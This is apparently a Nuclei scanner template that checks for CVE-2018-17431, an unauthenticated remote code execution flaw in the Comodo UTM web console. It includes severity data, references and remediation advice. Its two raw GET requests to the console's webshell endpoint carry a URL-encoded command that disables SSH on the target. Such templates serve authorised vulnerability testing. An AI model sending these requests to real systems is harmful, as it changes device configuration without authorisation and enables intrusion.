id: CVE-2018-17431

info:
  name: Comodo Unified Threat Management Web Console - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 are susceptible to a web shell based remote code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches or updates provided by Comodo to fix this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48825
    - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17431
    - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437
    - https://drive.google.com/file/d/0BzFJhNQNHcoTbndsUmNjVWNGYWNJaWxYcWNyS2ZDajluTDFz/view
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17431
    cwe-id: CWE-287
    epss-score: 0.11315
    epss-percentile: 0.94677
    cpe: cpe:2.3:a:comodo:unified_threat_management_firewall:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: comodo
    product: unified_threat_management_firewall
  tags: cve,cve2018,comodo,rce,edb

http:
  - raw:
      - |
        GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
        Host: {{Hostname}}
        Connection: close
      - | # to triggering RCE
        GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Configuration has been altered"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206e56a0d536dfc8d4ed10ae0505f2d2548b6c986854d0813c6e8185acc66756d9022100e74e57bbb9b04d2860f174d0f9effbef03a265a0ada954ea317f3fffa89a12ca:922c64590222798bb761d5b6d8e72950